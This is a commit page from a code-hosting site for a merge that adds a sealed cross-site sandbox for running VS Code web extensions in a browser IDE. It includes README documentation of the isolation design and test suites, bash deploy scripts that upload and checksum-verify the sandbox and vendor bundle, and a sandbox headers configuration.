Elffuss BraidHub

utopia-ia/elffuss-code public

Merge l2-x2-live: nivel 2 de extensiones, integrado con el panel de main

El nivel 2 (código de extensiones en un recinto en otro sitio) se escribió
sobre 84cc38b, y main rediseñó después el panel de extensiones por su cuenta
(veredictos de verdict.js, populares y el filtro «solo las que funcionan»).
Las dos ramas reescribieron web/js/ext/panel.js, así que no se resolvió trozo
a trozo: se partió del panel de main y se portó encima lo del nivel 2 (gestor
perezoso, chip «Funciona en Code», líneas y botón de código por fila, detalle
con describe(), instalar con withCode, .vsix mixto, mandos en Instaladas).

Cómo conviven:
- Lo que el nivel 2 clasifica como que funciona cuenta como «funciona» para el
  filtro de main.
- Una fila con código para el navegador ya no se oculta ni se da por muerta:
  dice que puede correr en el recinto, y «Instalar» lleva a su botón de código
  sin cargar nada del nivel 2 con solo buscar.
- El consentimiento para un .vsix que solo trae código se ofrece solo si trae
  código para el navegador.

Otros conflictos:
- ide.js: openTabs() quedaba con dos formas. El panel usa la de main y el
  nivel 2 usa openTabModels().
- host.js: el rechazo «codeonly» de main solo aplica sin withCode.
- i18n: se restauran themes/grammars/languages, que usa el nivel 2, y se quitan
  claves del resumen viejo que nadie usa y que llevaban jerga.

Arreglos que salieron por el camino:
- Un fallo de main: leeSolo() leía CLAVE_SOLO antes de declararla, así que
  apagar el filtro nunca se recordaba al recargar.

Tests:
- En main, #act-ext alterna: los tests del nivel 2 abren el panel solo si no
  lo está ya.
- Los tests del nivel 2 arrancan con el filtro de main apagado y cuentan solo
  las filas visibles.
- ext_feedback cierra el consentimiento tras un .vsix mixto, y en vivo espera
  ver Prettier.
- links depende de que haya WebGPU.
- x2_bytes compara con el main de antes de la fusión. El estado 3 ya no es
  comparable y lo dice.
Changeseteeafa8b53e660c8ea6d3aab992edab51d9865c0c2ac029059997453a1e7b6fe9
AuthorKikoCis <kikocisneros@gmail.com> · 2026-10-13 12:32 +02:00
CommitterKikoCis <kikocisneros@gmail.com> · 2026-10-13 12:32 +02:00
Parents272c2a41bf73, da97708d0aaf

Browse the files at this changeset

97 files changed

modified .gitignore +6 −0
@@ -19,4 +19,10 @@
1919 web/js/engine/
2020
2121 # cachés de red de los scripts de tests
22+# nivel 2 de extensiones: el bundle se compila (vendor/vscode-ext2/build.mjs)
23+# y se despliega aparte (deploy-vendor.sh); en git solo va su manifiesto
24+web/vendor/x2/
25+vendor/vscode-ext2/node_modules/
26+vendor/vscode-ext2/.build/
27+vendor/vscode-ext2/.repro/
2228 tests/.cache/
modified NOTICE +9 −0
@@ -22,3 +22,12 @@
2222 (web/js/ext/themes.js) siguen los temas por defecto de VS Code (Microsoft, MIT).
2323 Las extensiones se buscan e instalan desde Open VSX (Eclipse Foundation), con la
2424 licencia que declara cada una.
25+
26+--- Extensiones con código, nivel 2 (crédito) ---
27+El recinto de extensiones usa un bundle compilado aparte (lo compila
28+vendor/vscode-ext2/; el resultado no entra en git) con
29+@codingame/monaco-vscode-api 37.3.11 (CodinGame, MIT),
30+que contiene el código de Visual Studio Code 1.138.0 (Microsoft, MIT), y con
31+marked (MIT) y DOMPurify (MPL-2.0 o Apache-2.0). Cada compilación lleva al lado su
32+LICENSES.txt con la licencia de todo lo que incluye
33+(web/vendor/x2/<buildId>/LICENSES.txt, servido junto al bundle).
modified README.md +211 −3
@@ -55,8 +55,9 @@
5555 Color Theme picker), **TextMate grammars**, **snippets** and **language configurations**
5656 (comments, brackets, indentation). You can also install a `.vsix` file.
5757
58-- **No extension code runs.** `main`/`browser` are ignored; the panel says what each
59- extension applies and what would need an extension host (commands, views, debuggers…).
58+- **No extension code runs** unless you turn it on for one extension (level 2, below).
59+ Otherwise `main`/`browser` are ignored; the panel says what each extension applies and
60+ what would need an extension host (commands, views, debuggers…).
6061 - **Your project stays in the browser.** Open VSX only sees what you search for and install.
6162 - Packages are checked against the SHA-256 that Open VSX publishes and kept in IndexedDB.
6263 - Grammars run on the same engine as VS Code (vscode-textmate + Oniguruma), loaded only
@@ -69,6 +70,209 @@
6970 patterns run in a Worker with a time limit. The panel lists anything it had to skip.
7071 - `?noext` starts with every extension paused (to rescue a tab from a bad grammar).
7172
73+### Extensions that run code (level 2)
74+
75+Web extensions (a `browser` entry, never Node) can run their code in a **sealed sandbox**:
76+a headless VS Code (`@codingame/monaco-vscode-api` 37.3.11, VS Code 1.138.0) inside an
77+invisible iframe on **another site**, with no network host in any CSP. Code's own editor
78+stays Monaco 0.52; it only talks to the sandbox through one validated message channel and
79+renders what extensions return as plain text or escaped markdown.
80+
81+**In the Extensions panel**, before you install anything, each result says what will work:
82+the declarative parts (counted the way they apply: a language Monaco already has does not
83+count), *"Runs in Code's sandbox"* (with its commands, keybindings and settings),
84+*"Needs Node: not available in the browser"*, the parts that *won't appear here* (views,
85+webviews, debugger…) and *"Tested in Code"* from the runtime census below. Where level 2
86+cannot run (Firefox, Safari, `?noext2`, a site with no sandbox) the line says so with the
87+reason, the run button is inert, and the **Works in Code** chip keeps only what works
88+there. An extension that declares proposed VS Code APIs is marked: Code does not turn those
89+APIs on, so some of its parts may fail (the census shows many such extensions start). The
90+chip reads each result's manifest, which Open VSX then sees; the panel says so. **Install**
91+on a result that only brings code reads its manifest first (no download) and offers
92+**Install and run its code…**, which first shows what the extension will see, that it has no
93+internet and cannot save, the runtime's size and the extension's own (from a HEAD request to
94+Open VSX); nothing is downloaded until you accept. Installed extensions with code get: run or turn off
95+their code (no reload), state, their commands with Run buttons (the way in on a phone),
96+settings as JSON checked against what they declare, the formatter per language (theirs
97+or the built-in one), keybindings that were not bound and why, a log, and the number of
98+calls the sandbox refused. Their commands also appear in Code's palette (`>`), in F1 and
99+in the editor's context menu.
100+
101+What keeps your data in your browser, and what enforces it:
102+
103+- **No network at all.** The sandbox's CSPs name no host, not even its own; it refuses to
104+ start if a self-test request is not blocked; WebRTC and `window.open` are removed and
105+ navigation is cancelled in both of its documents. Extension files are fetched and
106+ checked by Code's page at install time (the SHA-256 that Open VSX publishes is required)
107+ and handed over as blobs, so the sandbox never talks to Open VSX.
108+- **No access to Code's storage.** The sandbox is a different site: separate IndexedDB,
109+ OPFS, localStorage, cookies and process.
110+- **One checked channel.** Every message from the sandbox is validated by type, shape and
111+ size; repeated violations tear the sandbox down. Inside the sandbox an RPC firewall
112+ (`web/js/ext2/rpc-allowlist.json`) refuses the extension host's calls that are not on the
113+ list: webviews, terminal, debug, SCM, tasks, sign-in, language models, chat, tunnels,
114+ notebooks, saving and more.
115+- **Text stays text.** Hovers, completion details, signatures, diagnostics, notifications,
116+ dialogs and pickers are drawn with `textContent` or as markdown in which every
117+ punctuation character is escaped: no remote image, link or HTML. Decoration styles go
118+ through a whitelist (no `url()`, no `fontFamily`); gutter icons are not shown.
119+- **Every address asks first** and shows the full URL (control and bidi characters made
120+ visible, the host in Unicode and punycode, the site repeated next to the buttons, a long
121+ address scrolling in its own box): `openExternal`, also when a completion or a code
122+ action runs it, and Cmd+click in the editor while extensions run. A `vscode.Uri` opens
123+ the way VS Code opens it (`encodeURI(uri.toString(true))`, so `=`, `&` and `+` stay as
124+ written). *Block requests for this session* blocks extensions' requests only (your own
125+ Cmd+click still asks); each dropped request is reported in the status bar, and the panel
126+ shows the block with an *Unblock* button. Links inside what extensions show are plain
127+ text. Clipboard writes need a recent click or key. A notification that waits for an
128+ answer is reachable from the editor with F6 (F6 again goes back) or from Code's palette.
129+- **Open documents only, no saving.** Extensions see the files you have open, as
130+ `file:///<project path>`; their edits go to the active document as one undo step and stay
131+ unsaved until you save with Cmd+S as always. An edit computed on text that changed in
132+ the meantime (the agent wrote the file, you typed) is discarded and the status bar says
133+ so. The agent's tools are unchanged.
134+- **Off means off.** VS Code cannot unload an extension that already started, so turning
135+ one's code off (or disabling, updating or uninstalling it) while others run rebuilds the
136+ sandbox with the others; with none left, the sandbox goes away. No reload either way.
137+- **Two gates in Code.** The HTML preview of a file an extension wrote into asks first (the
138+ preview runs scripts with network). While extensions run, the agent's web requests and
139+ local runtimes (node, npm, python… through the Bridge) ask first, showing the full URL or
140+ command.
141+
142+Proof: `node tests/x2_canary.mjs` runs an extension that tries every channel it has (30
143+from the worker, plus poisoned hovers, completions, signatures, diagnostics, decorations,
144+notifications, pickers, a code action and a completion that open addresses, forged RPC
145+frames) with Chromium resolving `*.test` to a beacon and recording a NetLog; it also runs
146+attack code directly inside both sandbox documents. The beacon must see 0 requests, 0
147+connections and 0 UDP packets; accepting one address must produce exactly one visit, to the
148+address the dialog showed; and positive controls show the setup does catch leaks.
149+
150+- **Nothing of level 2 loads until you turn an extension's code on.** `tests/x2_bytes.mjs`
151+ compares Code with its main before level 2 (which has level 1) request by request,
152+ uncompressed: with no extension it asks for exactly the same files and 616 bytes more
153+ (short hooks in `main.js` and `ide.js`: the palette list, the preview gate and the list
154+ of open tabs); with level 1 extensions only, the same files and 4.2 KB more (the hooks in
155+ `js/ext/host.js` and `store.js` that decide when to load `js/ext2/host2.js`); with the
156+ Extensions panel open and a search done, the same files and 20,165 bytes more, within the
157+ suite's 20 KB budget
158+ (what the panel now tells everyone: what will work, the Works in Code filter, how
159+ extensions are isolated, the check before Install, which for a result that applies
160+ without code loads nothing of level 2). In none of these is anything fetched from
161+ `vendor/x2/`, `js/ext2/` or the
162+ sandbox site. Once code is on, the runtime is 2.6 MB gzip (from the manifest), fetched
163+ once and then served from the HTTP cache. `?noext` pauses every extension, `?noext2` only
164+ their code, `"enabled": false` in the manifest is a global kill switch, and the panel can
165+ turn all extension code off.
166+- **The runtime is verified at load:** SRI on each `.gz`, then the sha256 of the inflated
167+ bytes against the committed `web/js/ext2/vendor-manifest.json`. It is built by a
168+ pinned, reproducible script and deployed separately; see
169+ [`vendor/vscode-ext2/README.md`](vendor/vscode-ext2/README.md).
170+- **What doesn't work:** Node-only extensions (81% of the catalog), anything that needs
171+ the full VS Code interface (views, webviews, custom editors, notebooks, terminal,
172+ debugger, source control, status bar), the network or the whole project, extensions that
173+ replace typing (Vim, Emacs), `createQuickPick` and `createInputBox`, gutter icons, and
174+ Firefox and Safari in this version.
175+- **Where the sandbox lives:** for code.elffuss.com, on `https://x2.utopiaia.com`, another
176+ registrable domain. `web/js/ext2/config.js` names it and refuses a sandbox on the same
177+ site as Code (a subdomain of elffuss.com would share cookies and a process);
178+ `sandbox/x2/headers.json` names the same origin for the headers and nginx, and
179+ `deploy-sandbox.sh` checks that both agree before uploading. Code on any other host gets
180+ no sandbox. To publish, in order: the `deploy.sh` filter for `vendor/x2/` on main (any
181+ deploy without it deletes the bundle; `deploy-vendor.sh` refuses until main has it),
182+ `sandbox/x2/nginx.conf.example` for x2.utopiaia.com and Code's vendor location
183+ (Cache-Control without `always`, so a missing file is never cached as immutable),
184+ `deploy-sandbox.sh`, `deploy-vendor.sh`, a read-only check with
185+ `X2_SANDBOX=https://x2.utopiaia.com node tests/x2_headers.mjs`, and `deploy.sh` last
186+ (it refuses to ship a manifest whose build the server lacks). Locally, open Code on
187+ `http://127.0.0.1:<port>` with `tests/lib/x2-server.mjs`, which serves the sandbox on
188+ `localhost:<port>` (a different site).
189+
190+**What actually runs (runtime census, 2026-10-11).** Of the 500 most downloaded extensions
191+on Open VSX, 89 have a browser entry. `tests/x2_census.mjs` installed each one from its
192+verified package (the web build, when the publisher ships one), started it alone in the
193+real sandbox with a beacon listening, and once the sandbox ran opened one sample document
194+per language it declares:
195+
196+| Result | Extensions |
197+|---|---|
198+| Too large to install (over 32 MiB per file or 64 MiB per extension) | 8 |
199+| Start | 50 |
200+| …and register a command, a language feature or diagnostics | 34 |
201+| …and register language features (completion, hover, formatting…) | 14 |
202+| Fail while starting (Node modules or globals in their browser build, services or proposed APIs Code doesn't have, blocked network requests) | 23 |
203+| Never start (what starts them doesn't exist in Code: a workspace, the Markdown preview, custom editors, notebooks, sign-in; one starts and never finishes) | 7 |
204+| Refused: Vim replaces typing | 1 |
205+| Requests that reached the beacon | 0 |
206+
207+It ran with the finished sandbox (the RPC firewall on, and notifications, dialogs and
208+pickers answered the way a hurried user would: closed or cancelled). 9 of the 89 asked the
209+user something while starting (8 notifications and 1 picker); GitHub Pull Requests stops at
210+the firewall's refusal of sign-in. An earlier run opened the sample documents while the
211+sandbox was still starting, when Code showed extensions only the active tab: CSS and
212+configuration-editing were counted as never starting and TypeScript's language features
213+were missed. Code now shows extensions every open tab, also the ones opened before the
214+sandbox started (`tests/x2_ux.mjs`, X11), and the census opens its samples once the sandbox
215+runs. Some extensions that start still need things Code doesn't have (webviews, the
216+network, a workspace), so the census is an upper bound; per-extension results are in
217+`web/js/ext2/tested.json` and feed the panel's "Tested in Code" lines.
218+
219+**Across the whole catalog (static census, 2026-10-11).** `tests/catalog_census.mjs` listed
220+every extension the Open VSX search returns (19,338 that day, the catalog's size when the
221+listing ended) and read each one's latest `package.json`: 19,337, one publishes none.
222+Nothing was downloaded as a `.vsix`, installed or run; about 20,000 requests to the API at
223+most 2.5 a second. Each manifest was classified with the panel's own rules
224+(`web/js/ext2/classify.js`, Monaco's built-in languages, the runtime census above):
225+
226+| | All (19,337) | Top 1,000 | Top 500 | Top 100 |
227+|---|---|---|---|---|
228+| Browser entry | 893 (4.6%) | 151 | 89 | 24 |
229+| …whose code could run in the sandbox | 849 (4.4%) | 116 | 56 | 15 |
230+| Node only (`main`, no `browser`) | 15,729 (81.3%) | 694 | 307 | 70 |
231+| No code at all | 2,715 (14.0%) | 155 | 104 | 6 |
232+| Something applies without code (themes, grammars, snippets, languages) | 5,610 (29.0%) | 449 | 246 | 51 |
233+| Works in Code, either way | 6,152 (31.8%) | 516 | 280 | 58 |
234+| …only through its code | 542 (2.8%) | 67 | 34 | 7 |
235+| Nothing works in Code | 13,185 (68.2%) | 484 | 220 | 42 |
236+
237+These are counts, not a sample: `tests/catalog-census/summary.json` has them with the date
238+and `extensions.tsv` has one line per extension, from which `tests/x2_unit.mjs` recomputes
239+every count. They are static: "could run" means a browser entry and nothing in the manifest
240+or the runtime census that rules it out (384 of the 849 also contribute views or other
241+parts that won't appear here and 32 declare proposed APIs; 52 of the 893 depend on another
242+extension), and it holds where level 2 runs (Chrome or Edge, a site with its sandbox). Only the top
243+500's 89 were actually run (the runtime census above); the other 804 with a browser entry
244+have not been run. An earlier extrapolation from 2,000 manifests (about 950, 4.9%) is
245+replaced by these counts. `node tests/catalog_census.mjs` repeats it (a stopped run resumes;
246+`--recount` classifies again without the network; `--ranks 1-20,10001-10020` tries it on a
247+few).
248+
249+Tests (each starts its own loopback server; nothing goes to production):
250+
251+| Suite | What it proves |
252+|---|---|
253+| `x2_unit` | protocol validators, escaped markdown on a hostile corpus, conversions, keybindings and reserved chords, globs, headers, manifests, the RPC allowlist, the decoration whitelist, URL display, classification, texts, the package reader, the shipped census |
254+| `x2_headers` | the sandbox documents' exact headers, 404 for anything else, Code never serves `/x2/`, the vendor files' headers and SRI, a missing vendor file not cached (also against production); the generated nginx snippets, and the sandbox vhost naming x2.utopiaia.com |
255+| `x2_deploy` | the deploy scripts against a folder that plays the server (fake `git`, `ssh` and `rsync`): only the manifest's files go up and nothing else may be there, a stray or corrupt file stops it, main must protect `vendor/x2/` first, the sandbox must be another site and the one `headers.json` and `config.js` name (by default it deploys x2.utopiaia.com) |
256+| `x2_smoke` | synthetic extensions end to end: commands, formatting, hovers, symbols, diagnostics, decorations, dialogs, the gates, the firewall, tampering, `?noext`/`?noext2`/kill switch |
257+| `x2_bytes` | the default path and the level 1 states against main before level 2 (above) |
258+| `x2_canary` | the canary and the drill (above), with positive controls |
259+| `x2_manager` | sort-lines and Prettier installed, run, configured and uninstalled through the panel, Open VSX mocked from their pinned packages |
260+| `x2_commands` | sort-lines in Code's palette, F1, F9 and the context menu; Cmd+S; reserved chords and conflicts; Code's own shortcuts unchanged; hostile titles stay text |
261+| `x2_format` | Prettier: Format Document, Shift+Alt+F, undo, save, settings, the built-in formatter back, a race with an agent write |
262+| `x2_ux` | what the panel says before installing (also where level 2 cannot run, and with the filter on first), Install on a code-only result, sizes, phones (390 and 360 px, a long address), keyboard access to notifications, pickers and dialogs, blocking and unblocking requests, tabs opened before the sandbox, Spanish texts, contrast, 25 of Code's elements styled identically with and without level 2 |
263+| `x2_live`, `x2_lifecycle` | the real Open VSX: install, update, turn off and on, disable, reload and uninstall, with pinned versions and SHA-256 |
264+
265+`tests/run-modes.sh` runs every Code suite in `tests/suites.txt` twice, as is and in
266+**extension mode** (`tests/lib/x2-mode.mjs` installs two code extensions that run in the
267+sandbox while the suite works, then checks the sandbox ran wherever the IDE opened, with
268+no level 2 error and nothing but its two documents asked from the sandbox site), plus the
269+level 2 suites once. A suite that never opens the IDE cannot exercise extension mode: it
270+shows *PASS, no IDE* and is listed at the end, not counted as covered (`stop_ide` is the
271+IDE variant of `stop`). The suites that need a live model, a GPU, a local Bridge, the
272+internet or production are listed there with the reason; the Bridge ones need its fixed
273+ports (8765, and Code on 8799), so they have not run in extension mode. The runtime census
274+is `node tests/x2_census.mjs` (manual).
275+
72276 ## Run locally
73277
74278 ```bash
@@ -92,11 +296,15 @@
92296 js/tools/code.js code.tree / read / search / edit / write (the only thing touching your files)
93297 js/bridge.js optional local Bridge (real node/npm/python)
94298 js/ext/ VS Code extensions: Open VSX, .vsix reader, themes, grammars, snippets
299+ js/ext2/ level 2: loader, sandbox bridge, editor adapter (buildless)
95300 js/providers/ onnx (transformers.js) · api (OpenAI/Anthropic/Ollama)
301+sandbox/x2/ the extension sandbox's two documents and their headers (another site)
302+vendor/vscode-ext2/ pinned build of the level 2 runtime (the only place npm runs)
96303 server/serve.py static server + CORS proxy (dev)
97304 ```
98305
99-No framework, no build step. The agent talks to the tools with
306+No framework, no build step for Code's own code (only the optional level 2 runtime is a
307+prebuilt, verified vendor bundle). The agent talks to the tools with
100308 ` ```tool {"tool":…,"args":…} ``` ` blocks — the same protocol across every provider.
101309
102310 ## Shares a core with Elffuss
added deploy-sandbox.sh +72 −0
@@ -0,0 +1,72 @@
1+#!/usr/bin/env bash
2+# Sube los dos documentos del recinto de extensiones (sandbox/x2/v1/) a la
3+# carpeta que sirve el host del recinto, x2.utopiaia.com. NUNCA a la de Code:
4+# que el sitio de Code no sirva el recinto es parte del aislamiento. Las
5+# cabeceras (CSP sin ningún host, Permissions-Policy…) las pone nginx con los
6+# fragmentos que genera:
7+# node sandbox/x2/headers.mjs --nginx
8+# (el vhost: sandbox/x2/nginx.conf.example)
9+#
10+# export ELFFUSS_HOST=usuario@servidor ELFFUSS_KEY=~/.ssh/tu_clave
11+# ./deploy-sandbox.sh
12+#
13+# El origen sale de sandbox/x2/headers.json (el recinto de producción) y la
14+# carpeta es /var/www/<host del recinto>. X2_SANDBOX_ORIGIN y X2_SANDBOX_DEST
15+# los cambian (las pruebas lo hacen), pero el paso 0 se niega si ese origen no
16+# es el que nombran headers.json y web/js/ext2/config.js.
17+#
18+# Orden: este script, luego deploy-vendor.sh, luego deploy.sh (que publica
19+# web/js/ext2/config.js con el recinto).
20+set -euo pipefail
21+cd "$(dirname "$0")"
22+
23+HOST=${ELFFUSS_HOST:?define ELFFUSS_HOST (usuario@servidor) antes de desplegar}
24+KEY=${ELFFUSS_KEY:?define ELFFUSS_KEY (ruta a la clave ssh)}
25+ORIGIN=${X2_SANDBOX_ORIGIN:-$(node -e "process.stdout.write(JSON.parse(require('fs').readFileSync('sandbox/x2/headers.json','utf8')).environments.production.sandbox||'')")}
26+case "$ORIGIN" in
27+ (https://*.*) ;;
28+ (*) echo "no hay recinto de producción (sandbox/x2/headers.json) ni X2_SANDBOX_ORIGIN: «$ORIGIN»" >&2; exit 1;;
29+esac
30+DEST=${X2_SANDBOX_DEST:-/var/www/${ORIGIN#https://}}
31+case "$DEST" in
32+ (*elffuss-code*|*/web|*/web/|/) echo "X2_SANDBOX_DEST no puede ser la carpeta de Code: $DEST" >&2; exit 1;;
33+esac
34+
35+# 0. el recinto es OTRO SITIO que Code (otro dominio registrable), y
36+# headers.json y config.js nombran ese mismo origen
37+node sandbox/x2/headers.mjs --site-check "$ORIGIN"
38+
39+# 1. los documentos cuadran con headers.json (hash del script en línea y CSP
40+# del meta) y con la copia de la librería
41+node sandbox/x2/headers.mjs --check
42+
43+# 2. subida: SOLO los dos documentos, desde una carpeta que no tiene nada más
44+# (un .DS_Store o una copia de seguridad junto a ellos no viaja), y el
45+# --delete quita del servidor lo que no sean ellos
46+DOCS=(sandbox.html exthost-iframe.html)
47+STAGE=$(mktemp -d)
48+trap 'rm -rf "$STAGE"' EXIT
49+# mktemp -d crea la carpeta con 700 y rsync -a copia ese modo a x2/v1/ del
50+# servidor: nginx (otro usuario) no podría ni entrar y los dos documentos
51+# darían 404 con «Permission denied» en el log de errores
52+chmod 755 "$STAGE"
53+for f in "${DOCS[@]}"; do cp "sandbox/x2/v1/$f" "$STAGE/$f"; chmod 644 "$STAGE/$f"; done
54+ssh -i "$KEY" "$HOST" "mkdir -p '$DEST/x2/v1'"
55+rsync -a --delete -e "ssh -i $KEY" "$STAGE/" "$HOST:$DEST/x2/v1/"
56+
57+# 3. lo que quedó en el servidor, byte a byte, y que no haya nada más
58+EXPECTED=$(cd sandbox/x2/v1 && shasum -a 256 "${DOCS[@]}" | LC_ALL=C sort -k2)
59+REMOTE=$(ssh -i "$KEY" "$HOST" "cd '$DEST/x2/v1' && find . -mindepth 1 -maxdepth 1 -printf '%f\n' | LC_ALL=C sort | while read -r f; do sha256sum -- \"\$f\"; done" | LC_ALL=C sort -k2)
60+if [ "$REMOTE" != "$EXPECTED" ]; then
61+ echo "✗ el servidor no tiene exactamente los documentos del recinto (y nada más):" >&2
62+ diff <(printf '%s\n' "$EXPECTED") <(printf '%s\n' "$REMOTE") >&2 || true
63+ exit 1
64+fi
65+# y que el servidor web los pueda leer: la carpeta 755 y los documentos 644
66+MODES=$(ssh -i "$KEY" "$HOST" "cd '$DEST/x2/v1' && stat -c '%a %n' . ${DOCS[*]}")
67+if [ "$MODES" != "$(printf '755 .\n644 sandbox.html\n644 exthost-iframe.html')" ]; then
68+ echo "✗ permisos en el servidor (se esperaba 755 la carpeta y 644 los documentos):" >&2
69+ printf '%s\n' "$MODES" >&2
70+ exit 1
71+fi
72+echo "recinto en el servidor y verificado; mira sus cabeceras con: X2_SANDBOX=$ORIGIN node tests/x2_headers.mjs"
added deploy-vendor.sh +60 −0
@@ -0,0 +1,60 @@
1+#!/usr/bin/env bash
2+# Sube el bundle del nivel 2 de extensiones (web/vendor/x2/<buildId>/) a
3+# code.elffuss.com, la carpeta de Code (el recinto, x2.utopiaia.com, no recibe
4+# el bundle: se lo pasa Code). Va ANTES de deploy.sh, que es quien publica el
5+# manifiesto que nombra ese buildId (y se niega a publicarlo si el servidor no
6+# tiene ya ese bundle, byte a byte), y después de deploy-sandbox.sh.
7+#
8+# cd vendor/vscode-ext2 && npm ci --ignore-scripts && node build.mjs
9+# ./deploy-sandbox.sh
10+# ./deploy-vendor.sh
11+# ./deploy.sh
12+#
13+# Nunca borra nada en el servidor (rsync --ignore-existing, sin --delete): las
14+# compilaciones viejas se quedan para poder volver atrás revirtiendo el
15+# manifiesto. La poda (quedarse con las tres últimas) es a mano.
16+#
17+# Solo sube los ficheros que nombra el manifiesto (los tres .gz y
18+# LICENSES.txt): cualquier otro que haya en la carpeta local hace fallar la
19+# comprobación de antes, y la del servidor exige que allí no haya nada más.
20+set -euo pipefail
21+cd "$(dirname "$0")"
22+
23+HOST=${ELFFUSS_HOST:?define ELFFUSS_HOST (usuario@servidor) antes de desplegar}
24+KEY=${ELFFUSS_KEY:?define ELFFUSS_KEY (ruta a la clave ssh)}
25+DEST=/var/www/elffuss-code.utopiaia.com
26+
27+# 0. Un deploy.sh SIN el filtro de vendor/x2/ (el de main hasta que se fusione
28+# esta rama) borra el bundle del servidor con su --delete. Mientras el de
29+# main no lo tenga, esto no sube nada: el siguiente despliegue normal lo
30+# borraría y el manifiesto nombraría un bundle que ya no está.
31+for REF in main HEAD; do
32+ DEPLOY=$(git show "$REF:deploy.sh" 2>/dev/null || true)
33+ case "$DEPLOY" in
34+ (*"P vendor/x2/"*) ;;
35+ (*) echo "✗ el deploy.sh de $REF no protege vendor/x2/ (falta --filter='P vendor/x2/***'): fusiona antes ese filtro en $REF" >&2; exit 1;;
36+ esac
37+done
38+
39+BUILD=$(node -e "process.stdout.write(JSON.parse(require('fs').readFileSync('web/js/ext2/vendor-manifest.json','utf8')).buildId)")
40+case "$BUILD" in (*[!0-9a-f]*|'') echo "buildId no válido: $BUILD" >&2; exit 1;; esac
41+LOCAL=web/vendor/x2/$BUILD
42+
43+# 1. lo local, contra el manifiesto: exactamente sus ficheros (SRI, sha256 y
44+# barrido de rutas) y nada más
45+node vendor/vscode-ext2/check-output.mjs web
46+EXPECTED=$(node vendor/vscode-ext2/check-output.mjs --sums web | LC_ALL=C sort -k2)
47+
48+# 2. subida de esos ficheros y solo de ellos, sin pisar ni borrar
49+ssh -i "$KEY" "$HOST" "mkdir -p '$DEST/vendor/x2/$BUILD'"
50+rsync -a --ignore-existing --files-from=<(node vendor/vscode-ext2/check-output.mjs --files web) -e "ssh -i $KEY" "$LOCAL/" "$HOST:$DEST/vendor/x2/$BUILD/"
51+
52+# 3. lo que hay en el servidor, contra el manifiesto: los mismos ficheros,
53+# byte a byte, y ninguno más
54+REMOTE=$(ssh -i "$KEY" "$HOST" "cd '$DEST/vendor/x2/$BUILD' && find . -mindepth 1 -maxdepth 1 -printf '%f\n' | LC_ALL=C sort | while read -r f; do sha256sum -- \"\$f\"; done" | LC_ALL=C sort -k2)
55+if [ "$REMOTE" != "$EXPECTED" ]; then
56+ echo "✗ el servidor no tiene exactamente el bundle $BUILD (y nada más):" >&2
57+ diff <(printf '%s\n' "$EXPECTED") <(printf '%s\n' "$REMOTE") >&2 || true
58+ exit 1
59+fi
60+echo "bundle $BUILD en el servidor y verificado; ahora ./deploy.sh publica el manifiesto"
modified deploy.sh +21 −1
@@ -56,7 +56,27 @@
5656 fi
5757 done
5858
59-rsync -az --delete --filter='P blog/***' --filter='P __e4b.litertlm' --exclude='__e4b.litertlm' "${MOTOR[@]}" -e "ssh -i $KEY" web/ "$HOST:$DEST/"
59+# El bundle del nivel 2 de extensiones (vendor/x2/<buildId>/) tampoco viaja
60+# aquí: lo sube y lo verifica deploy-vendor.sh, ANTES de este script, y el
61+# --delete no puede borrar las compilaciones que ya están en el servidor.
62+VENDOR=(--filter='P vendor/x2/***' --exclude='vendor/x2/')
63+
64+# …y el manifiesto que nombra ese bundle no se publica si el servidor no lo
65+# tiene ya, byte a byte: un navegador que pidiera un fichero que aún no está
66+# se quedaría con el fallo (solo cuando algún navegador lo pediría de verdad:
67+# el manifiesto encendido y config.js con un recinto para Code).
68+if node vendor/vscode-ext2/check-output.mjs --live web; then
69+ BUILD=$(node -e "process.stdout.write(JSON.parse(require('fs').readFileSync('web/js/ext2/vendor-manifest.json','utf8')).buildId)")
70+ case "$BUILD" in (*[!0-9a-f]*|'') echo "buildId no válido: $BUILD" >&2; exit 1;; esac
71+ EXPECTED=$(node vendor/vscode-ext2/check-output.mjs --manifest-sums web | LC_ALL=C sort -k2)
72+ REMOTE=$(ssh -i "$KEY" "$HOST" "cd '$DEST/vendor/x2/$BUILD' 2>/dev/null && find . -mindepth 1 -maxdepth 1 -printf '%f\n' | LC_ALL=C sort | while read -r f; do sha256sum -- \"\$f\"; done" | LC_ALL=C sort -k2 || true)
73+ if [ "$REMOTE" != "$EXPECTED" ]; then
74+ echo "✗ el servidor no tiene el bundle $BUILD que nombra web/js/ext2/vendor-manifest.json: ./deploy-vendor.sh primero" >&2
75+ exit 1
76+ fi
77+fi
78+
79+rsync -az --delete --filter='P blog/***' --filter='P __e4b.litertlm' --exclude='__e4b.litertlm' "${MOTOR[@]}" "${VENDOR[@]}" -e "ssh -i $KEY" web/ "$HOST:$DEST/"
6080
6181 # anti-caché: versionar assets del index con el commit y sellar el build
6282 V=$(git rev-parse --short HEAD 2>/dev/null || date +%s)
added sandbox/x2/headers.json +73 −0
@@ -0,0 +1,73 @@
1+{
2+ "schema": 1,
3+ "note": "Single source of the sandbox documents' headers. sandbox/x2/headers.mjs turns it into nginx snippets and into the headers the test server sends. {sandbox} is the sandbox origin, {code} the space-separated Code origins, {self-script} the document's pinned inline-script hash. No fetch directive may name a host.",
4+ "environments": {
5+ "production": {
6+ "code": [
7+ "https://code.elffuss.com"
8+ ],
9+ "sandbox": "https://x2.utopiaia.com"
10+ },
11+ "dev": {
12+ "code": [
13+ "http://127.0.0.1:{port}"
14+ ],
15+ "sandbox": "http://localhost:{port}"
16+ }
17+ },
18+ "common": {
19+ "Permissions-Policy": "accelerometer=(), ambient-light-sensor=(), attribution-reporting=(), autoplay=(), bluetooth=(), browsing-topics=(), camera=(), clipboard-read=(), clipboard-write=(), compute-pressure=(), display-capture=(), encrypted-media=(), fullscreen=(), gamepad=(), geolocation=(), gyroscope=(), hid=(), idle-detection=(), local-fonts=(), local-network-access=(), magnetometer=(), microphone=(), midi=(), payment=(), picture-in-picture=(), publickey-credentials-get=(), screen-wake-lock=(), serial=(), storage-access=(), usb=(), web-share=(), window-management=(), xr-spatial-tracking=()",
20+ "Referrer-Policy": "no-referrer",
21+ "X-Content-Type-Options": "nosniff",
22+ "X-DNS-Prefetch-Control": "off",
23+ "Origin-Agent-Cluster": "?1",
24+ "Cache-Control": "no-cache",
25+ "Content-Type": "text/html; charset=utf-8"
26+ },
27+ "documents": {
28+ "sandbox.html": {
29+ "path": "/x2/v1/sandbox.html",
30+ "query": "^$",
31+ "inlineScript": "sha256-/luUDdba82j70NvkxS1nxDvTfjxLjRfnpKE6sqiin3U=",
32+ "csp": [
33+ "default-src 'none'",
